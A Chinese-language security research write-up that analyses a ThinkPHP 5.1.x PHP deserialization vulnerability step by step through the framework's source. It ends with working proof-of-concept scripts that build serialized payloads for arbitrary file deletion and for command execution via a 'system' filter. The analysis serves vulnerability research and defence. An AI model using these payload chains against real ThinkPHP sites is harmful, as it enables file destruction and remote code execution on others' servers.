作者：Ethan@知道創宇404實驗室
時間：2019年9月21日

前言

今年7月份，ThinkPHP 5.1.x爆出來了一個反序列化漏洞。之前沒有分析過關於ThinkPHP的反序列化漏洞。今天就探討一下ThinkPHP的反序列化問題!

環境搭建

Thinkphp 5.1.35
php 7.0.12

漏洞挖掘思路

在剛接觸反序列化漏洞的時候，更多遇到的是在魔術方法中，因此自動呼叫魔術方法而觸發漏洞。但如果漏洞觸發程式碼不在魔法函式中，而在一個類的普通方法中。並且魔法函式透過屬性（物件）呼叫了一些函式，恰巧在其他的類中有同名的函式（pop鏈）。這時候可以透過尋找相同的函式名將類的屬性和敏感函式的屬性聯絡起來。

漏洞分析

首先漏洞的起點為 /thinkphp/library/think/process/pipes/Windows.php的 __destruct()

__destruct()裡面呼叫了兩個函式，我們跟進 removeFiles()函式。

class Windows extends Pipes{
    private $files = [];
    ....
    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }
    ....}

這裡使用了 $this->files，而且這裡的 $files是可控的。所以存在一個任意檔案刪除的漏洞。

POC可以這樣構造：

namespace think\process\pipes;
class Pipes{
}
class Windows extends Pipes
{
private $files = [];
public function __construct()
{
$this->files=['需要刪除檔案的路徑'];
}
}
echo base64_encode(serialize(new Windows()));

這裡只需要一個反序列化漏洞的觸發點，便可以實現任意檔案刪除。

在 removeFiles()中使用了 file_exists對 $filename進行了處理。我們進入 file_exists函式可以知道， $filename會被作為字串處理。

而 __toString 當一個物件被反序列化後又被當做字串使用時會被觸發，我們透過傳入一個物件來觸發 __toString 方法。我們全域性搜尋 __toString方法。

我們跟進 \thinkphp\library\think\model\concern\Conversion.php的Conversion類的第224行,這裡呼叫了一個 toJson()方法。

    .....
    public function __toString()
    {
        return $this->toJson();
    }
    .....

跟進 toJson()方法

    ....
    public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }
    ....

繼續跟進 toArray()方法

   public function toArray()
    {
        $item    = [];
        $visible = [];
        $hidden  = [];
        .....
        // 追加屬性（必須定義獲取器）        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加關聯物件屬性                    $relation = $this->getRelation($key);
                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        $relation->visible($name);
                    }
            .....

我們需要在 toArray()函式中尋找一個滿足 $可控變數->方法(引數可控)的點，首先，這裡呼叫了一個 getRelation方法。我們跟進 getRelation()，它位於 Attribute類中

    ....
    public function getRelation($name = null)
    {
        if (is_null($name)) {
            return $this->relation;
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        return;
    }
    ....

由於 getRelation()下面的 if語句為 if (!$relation)，所以這裡不用理會，返回空即可。然後呼叫了 getAttr方法，我們跟進 getAttr方法

public function getAttr($name, &$item = null)
    {
        try {
            $notFound = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $notFound = true;
            $value    = null;
        }
        ......

繼續跟進 getData方法

   public function getData($name = null)
    {
        if (is_null($name)) {
            return $this->data;
        } elseif (array_key_exists($name, $this->data)) {
            return $this->data[$name];
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }

透過檢視 getData函式我們可以知道 $relation的值為 $this->data[$name]，需要注意的一點是這裡類的定義使用的是 Trait而不是 class。自 PHP 5.4.0 起，PHP 實現了一種程式碼複用的方法，稱為 trait。透過在類中使用 use 關鍵字，宣告要組合的Trait名稱。所以，這裡類的繼承要使用 use關鍵字。然後我們需要找到一個子類同時繼承了 Attribute類和 Conversion類。

我們可以在 \thinkphp\library\think\Model.php中找到這樣一個類

abstract class Model implements \JsonSerializable, \ArrayAccess{
    use model\concern\Attribute;
    use model\concern\RelationShip;
    use model\concern\ModelEvent;
    use model\concern\TimeStamp;
    use model\concern\Conversion;
    .......

我們梳理一下目前我們需要控制的變數

$files位於類 Windows
$append位於類 Conversion
$data位於類 Attribute

利用鏈如下：

程式碼執行點分析

我們現在缺少一個進行程式碼執行的點，在這個類中需要沒有 visible方法。並且最好存在 __call方法，因為 __call一般會存在 __call_user_func和 __call_user_func_array，php程式碼執行的終點經常選擇這裡。我們不止一次在Thinkphp的rce中見到這兩個方法。可以在 /thinkphp/library/think/Request.php，找到一個 __call函式。 __call 呼叫不可訪問或不存在的方法時被呼叫。

   ......
   public function __call($method, $args)
    {
        if (array_key_exists($method, $this->hook)) {
            array_unshift($args, $this);
            return call_user_func_array($this->hook[$method], $args);
        }
        throw new Exception('method not exists:' . static::class . '->' . $method);
    }
   .....

但是這裡我們只能控制 $args，所以這裡很難反序列化成功，但是 $hook這裡是可控的，所以我們可以構造一個hook陣列 "visable"=>"method"，但是 array_unshift()向陣列插入新元素時會將新陣列的值將被插入到陣列的開頭。這種情況下我們是構造不出可用的payload的。

在Thinkphp的Request類中還有一個功能 filter功能，事實上Thinkphp多個RCE都與這個功能有關。我們可以嘗試覆蓋 filter的方法去執行程式碼。

程式碼位於第1456行。

  ....
  private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);
        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 呼叫函式或者方法過濾                $value = call_user_func($filter, $value);
            }
            .....

但這裡的 $value不可控，所以我們需要找到可以控制 $value的點。

....
    public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 獲取原始資料
            return $data;
        }
        ....
       // 解析過濾器
        $filter = $this->getFilter($filter, $default);
        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            if (version_compare(PHP_VERSION, '7.1.0', '<')) {
                // 恢復PHP版本低於 7.1 時 array_walk_recursive 中消耗的內部指標
                $this->arrayReset($data);
            }
        } else {
            $this->filterValue($data, $name, $filter);
        }
.....

但是input函式的引數不可控，所以我們還得繼續尋找可控點。我們繼續找一個呼叫 input函式的地方。我們找到了 param函式。

   public function param($name = '', $default = null, $filter = '')
    {
         ......
        if (true === $name) {
            // 獲取包含檔案上傳資訊的陣列            $file = $this->file();
            $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
            return $this->input($data, '', $default, $filter);
        }
        return $this->input($this->param, $name, $default, $filter);
    }

這裡仍然是不可控的，所以我們繼續找呼叫 param函式的地方。找到了 isAjax函式

    public function isAjax($ajax = false)
    {
        $value  = $this->server('HTTP_X_REQUESTED_WITH');
        $result = 'xmlhttprequest' == strtolower($value) ? true : false;
        if (true === $ajax) {
            return $result;
        }
        $result           = $this->param($this->config['var_ajax']) ? true : $result;
        $this->mergeParam = false;
        return $result;
    }

在 isAjax函式中，我們可以控制 $this->config['var_ajax']， $this->config['var_ajax']可控就意味著 param函式中的 $name可控。 param函式中的 $name可控就意味著 input函式中的 $name可控。

param函式可以獲得 $_GET陣列並賦值給 $this->param。

再回到 input函式中

$data = $this->getData($data, $name);

$name的值來自於 $this->config['var_ajax']，我們跟進 getData函式。

    protected function getData(array $data, $name)
    {
        foreach (explode('.', $name) as $val) {
            if (isset($data[$val])) {
                $data = $data[$val];
            } else {
                return;
            }
        }
        return $data;
    }

這裡 $data直接等於 $data[$val]了

然後跟進 getFilter函式

    protected function getFilter($filter, $default)
    {
        if (is_null($filter)) {
            $filter = [];
        } else {
            $filter = $filter ?: $this->filter;
            if (is_string($filter) && false === strpos($filter, '/')) {
                $filter = explode(',', $filter);
            } else {
                $filter = (array) $filter;
            }
        }
        $filter[] = $default;
        return $filter;
    }

這裡的 $filter來自於 this->filter，我們需要定義 this->filter為函式名。

我們再來看一下 input函式，有這麼幾行程式碼

....if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            ...

這是一個回撥函式，跟進 filterValue函式。

    private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);
        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 呼叫函式或者方法過濾                $value = call_user_func($filter, $value);
            } elseif (is_scalar($value)) {
                if (false !== strpos($filter, '/')) {
                    // 正則過濾                    if (!preg_match($filter, $value)) {
                        // 匹配不成功返回預設值                        $value = $default;
                        break;
                    }
         .......

透過分析我們可以發現 filterValue.value的值為第一個透過 GET請求的值，而 filters.key為 GET請求的鍵，並且 filters.filters就等於 input.filters的值。

我們嘗試構造payload,這裡需要 namespace定義名稱空間

<?phpnamespace think;abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["ethan"=>["calc.exe","calc"]];
        $this->data = ["ethan"=>new Request()];
    }}class Request{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表單請求型別偽裝變數        'var_method'       => '_method',
        // 表單ajax偽裝變數        'var_ajax'         => '_ajax',
        // 表單pjax偽裝變數        'var_pjax'         => '_pjax',
        // PATHINFO變數名 用於相容模式        'var_pathinfo'     => 's',
        // 相容PATH_INFO獲取        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 預設全域性過濾方法 用逗號分隔多個        'default_filter'   => '',
        // 域名根，如thinkphp.cn        'url_domain_root'  => '',
        // HTTPS代理標識        'https_agent_name' => '',
        // IP代理獲取標識        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL偽靜態字尾        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }}namespace think\process\pipes;use think\model\concern\Conversion;use think\model\Pivot;class Windows{
    private $files = [];
    public function __construct()
    {
        $this->files=[new Pivot()];
    }}namespace think\model;use think\Model;class Pivot extends Model{}use think\process\pipes\Windows;echo base64_encode(serialize(new Windows()));?>

首先自己構造一個利用點，別問我為什麼，這個漏洞就是需要後期開發的時候有利用點，才能觸發